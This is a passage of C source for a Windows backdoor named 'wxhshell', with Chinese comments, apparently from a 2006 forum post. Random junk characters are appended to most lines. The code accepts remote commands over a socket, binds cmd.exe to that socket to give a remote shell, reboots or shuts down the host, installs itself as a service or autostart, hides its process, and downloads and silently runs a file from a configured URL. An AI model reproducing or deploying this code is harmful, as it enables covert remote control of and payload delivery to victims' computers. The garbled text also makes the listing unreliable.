  } - -H%FYF`  
  // 安装 }=JuC+#~n  
  case 'i': { K yFR;.F-  
    if(Install()) Cu +u'&U!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wc- 8j2M  
    else Gf1O7L1rX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i5^U1K\M  
    break; h O}nc$S  
    } %oEvp{I  
  // 卸载  $>y   
  case 'r': { ~`Xu 6+1o  
    if(Uninstall()) 0I@Cx {$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u9R:2ah&K  
    else @&M$oI$4*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1$G'Kg/  
    break; C1KO]e>  
    } v&*}O  
  // 显示 wxhshell 所在路径 jW!)5(B[A  
  case 'p': { d9sqO9Ud8  
    char svExeFile[MAX_PATH]; w_eUU)z  
    strcpy(svExeFile,"\n\r"); 3teanU`  
      strcat(svExeFile,ExeFile); `OmYz{*r  
        send(wsh,svExeFile,strlen(svExeFile),0); fKZgAISF  
    break; !4l\*L  
    } y?s8UEC  
  // 重启 H0.,h;  
  case 'b': { D1VM_O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <"XDIvpc%L  
    if(Boot(REBOOT)) &BDdJwE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FI$#x%A  
    else { 3V`.<  
    closesocket(wsh); !,3U_!  
    ExitThread(0); edy6WzxBcm  
    }  kwd)5J  
    break; J6Q}a7I#  
    } vz_ZXy9Z  
  // 关机 H;O PA8\n  
  case 'd': { #Qp.O@e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )c$)am\I{  
    if(Boot(SHUTDOWN)) @0>3))  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2GcU_*t  
    else { N%.Dj H  
    closesocket(wsh); (\6R"2  
    ExitThread(0); zsx12b^w  
    } XiB]I5(hcc  
    break; Z|kMoB  
    } nE)|6  
  // 获取shell 4{r_EV[(  
  case 's': { ~t~5ctJ@  
    CmdShell(wsh); t[ZumQ@HC  
    closesocket(wsh); E0i_sB~T  
    ExitThread(0); ohA@Zm8O  
    break; \#A=twp  
  } igW>C2J  
  // 退出 :tA|g  
  case 'x': { mJ%r2$/*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } bs2Rxkh  
    CloseIt(wsh); 9$xEktfV  
    break; D?w-uR%Y  
    } ^8V cm*  
  // 离开 Z)U#5|sf  
  case 'q': { o\luE{H .?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'd"\h#  
    closesocket(wsh); nAp7X-t  
    WSACleanup(); j{nkus2  
    exit(1); adJoT-8P6  
    break; ,QpDz{8  
        } W&>+~A  
  } Hf/2KYZ  
  } ^w<:UE2a!  
T'*.LpNP,  
  // 提示信息 sv^; nOAc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^j2:fJOU#  
} 8<g_JW[%  
  } k*4?fr  
tc{23Rf%  
  return; >oc7=F<8lS  
} 2#A u6BvX  
Pc]c8~  
// shell模块句柄 |7zm!^t$  
int CmdShell(SOCKET sock) |jV4]7Luq  
{ MjI}fs<   
STARTUPINFO si; )N-+,Ms  
ZeroMemory(&si,sizeof(si)); qi7wr\XNW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zYOPE 6E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )^!-Aj\x  
PROCESS_INFORMATION ProcessInfo; WII_s|YSt%  
char cmdline[]="cmd"; 7l Aa6"Y68  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lb1(1 |#  
  return 0; D0QXvrf  
} B`hxF(_p/  
nX Qz  
// 自身启动模式 0;TMwE  
int StartFromService(void) ,ASY &J5)7  
{ }7$\F!R  
typedef struct ]dDyz[NuvD  
{ )K2n!Fbd  
  DWORD ExitStatus; No[xf9>t  
  DWORD PebBaseAddress; VH*j3  
  DWORD AffinityMask; Ro:-u7q  
  DWORD BasePriority; 3iWLo Qm  
  ULONG UniqueProcessId; % wRJ"T`Tt  
  ULONG InheritedFromUniqueProcessId; 7<.f&1MgI  
}   PROCESS_BASIC_INFORMATION; 3F}d,aB A  
y i@61XI  
PROCNTQSIP NtQueryInformationProcess; ((dG<  
V43JY_:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cDTDim1F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 00pHnNoxW  
F"23>3  
  HANDLE             hProcess; EoY#D'[  
  PROCESS_BASIC_INFORMATION pbi; 71/6=aq>n  
m@c2'*&Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r9vC&pWZ  
  if(NULL == hInst ) return 0; nMc-kyl{  
hV8A<VT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G#% =R`k/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nq~bO_-I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hrAI@.Bo  
98O z  
  if (!NtQueryInformationProcess) return 0; Hh@mIusj  
rfPJBD{Ve  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y2$ % %@  
  if(!hProcess) return 0; ;%82Z4  
YT:5J%"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :!A@B.E  
vOP[ND=T  
  CloseHandle(hProcess); 4*dT|NU  
=q"3a9 pb7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gVl#pVO`N  
if(hProcess==NULL) return 0; uw<Ruy  
Lq&xlW j  
HMODULE hMod; QnGJ4F  
char procName[255]; XnG!T$  
unsigned long cbNeeded; dvj`%?=  
O>>8%=5Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `H|g~7KD&  
&`%C'KZ  
  CloseHandle(hProcess); $ `ho+  
FQ4rA 4  
if(strstr(procName,"services")) return 1; // 以服务启动 (HJ60Hj  
@O(\ TIg  
  return 0; // 注册表启动 2Vi[qS^  
} ><DE1tG  
M>^IQ  
// 主模块 %q!nTG U~  
int StartWxhshell(LPSTR lpCmdLine) e'?(`yW>  
{ 4@Qq5kpk*  
  SOCKET wsl; oy |@m|J  
BOOL val=TRUE; 2-CK:)n/#  
  int port=0; SVHtv0Nx  
  struct sockaddr_in door; BxG;vS3>*e  
/[-hJ=< Yb  
  if(wscfg.ws_autoins) Install(); D *tBbV  
9PBmBP ~  
port=atoi(lpCmdLine); v ;A  
Tld{b  
if(port<=0) port=wscfg.ws_port; Cm&itG  
$200?[  
  WSADATA data; - t+Mh.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n-Xj>  
+(<f(]bG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M1i|qjb:l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WZr~Pb9  
  door.sin_family = AF_INET; a"zoDD/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yqU++;6  
  door.sin_port = htons(port); (/Mc$V  
A4^+p0@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q9'p2@Z  
closesocket(wsl); Gg+>_b{S5T  
return 1; s*IfXv  
} QJ>>&`{ ,  
x6t;=  
  if(listen(wsl,2) == INVALID_SOCKET) { aPC!M4#  
closesocket(wsl); =%3nKSg  
return 1; #^ 9;<@M  
} >$y >  
  Wxhshell(wsl); e-VL U;  
  WSACleanup(); dc05,Bz  
>=V+X"\Z  
return 0; -  -G1H  
,B2 -'O  
} E ( @;p%:  
:3B\,inJ  
// 以NT服务方式启动 G DV-wPX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T?Y\~.+99  
{ }]I?vyQ#V  
DWORD   status = 0; IfcFlXmt2  
  DWORD   specificError = 0xfffffff; yShHFlO=  
ju#6 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >-P0wowL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }>0 Kc=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f[I c hCwX  
  serviceStatus.dwWin32ExitCode     = 0; V5B-S.i@  
  serviceStatus.dwServiceSpecificExitCode = 0; {<kG{i/  
  serviceStatus.dwCheckPoint       = 0; 9^u?v`!  
  serviceStatus.dwWaitHint       = 0; vrzX%'  
!)O$Q}'\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f[b YjIX  
  if (hServiceStatusHandle==0) return; Y9;Mey*oW  
E: GJ$I  
status = GetLastError(); I*}#nY0+  
  if (status!=NO_ERROR) \#aVu^`eX  
{ tWn m{mF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F"xO0t  
    serviceStatus.dwCheckPoint       = 0; >A&@Wp1  
    serviceStatus.dwWaitHint       = 0; <^U(ya  
    serviceStatus.dwWin32ExitCode     = status; G+uiZ (p>  
    serviceStatus.dwServiceSpecificExitCode = specificError; 86#mmm)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^d80\PXz  
    return; t\i1VXtO  
  } %v[ Kk-d  
hZ<btN .y5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vC:b?0s#(  
  serviceStatus.dwCheckPoint       = 0; d|]O<]CG_  
  serviceStatus.dwWaitHint       = 0; 4_+Pv6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [+g@@\X4  
} }4SSo)Uv/  
8[)]3K x  
// 处理NT服务事件,比如:启动、停止 .KucjRI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aMQjoamz  
{ Z=@)  
switch(fdwControl) U@MP&sdL  
{ toqzS!&.v  
case SERVICE_CONTROL_STOP: iIaT1i4t.  
  serviceStatus.dwWin32ExitCode = 0; Rt^<xXX$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4|N\Q=,  
  serviceStatus.dwCheckPoint   = 0; U5!f++  
  serviceStatus.dwWaitHint     = 0; -fJ@R1]  
  { 1?|6odc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JA(fam~{  
  } eJw="  
  return; _i[)$EgFm  
case SERVICE_CONTROL_PAUSE: bz0P49%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -I-Uh{)j  
  break; }b+QYSt  
case SERVICE_CONTROL_CONTINUE: >:E* 7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RR!!hY3 K  
  break; d-;9L56{P  
case SERVICE_CONTROL_INTERROGATE: x$GsDV  
  break; rA1r#ksQ  
}; yW^IN8fm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VS|( "**  
} ZQ~myqx,+L  
0sDwTb"  
// 标准应用程序主函数 !I5~))E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G4Kmt98I  
{ rN1U.FRe/  
Tz[?gF.Do  
// 获取操作系统版本 zk 5=Opmvh  
OsIsNt=GetOsVer(); {kPe#n>xT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f{Fe+iPc  
r1oku0o  
  // 从命令行安装 0<@KDlF  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5m^Hi} S _  
Q_aqX(ig  
  // 下载执行文件 Z-SwJtWk  
if(wscfg.ws_downexe) { qX{X4b$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'DzBp  
  WinExec(wscfg.ws_filenam,SW_HIDE); !ml_S)  
} 8 b  8\  
9G#8 %[W  
if(!OsIsNt) { h zZ-$IX X  
// 如果时win9x,隐藏进程并且设置为注册表启动 jefNiEE[  
HideProc(); |'c4er/;#  
StartWxhshell(lpCmdLine); 4e@&QOo`Cu  
} I{42'9  
else Er"R;l]xJ  
  if(StartFromService()) drENkS=,  
  // 以服务方式启动 y98JiNq  
  StartServiceCtrlDispatcher(DispatchTable); i)7n c  
else  O[IR|  
  // 普通方式启动 1xO!w+J#  
  StartWxhshell(lpCmdLine); >; &s['H  
]eYd8s+  
return 0; K[uY+!'1  
}
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只看该作者 1 发表于: 2006-10-10
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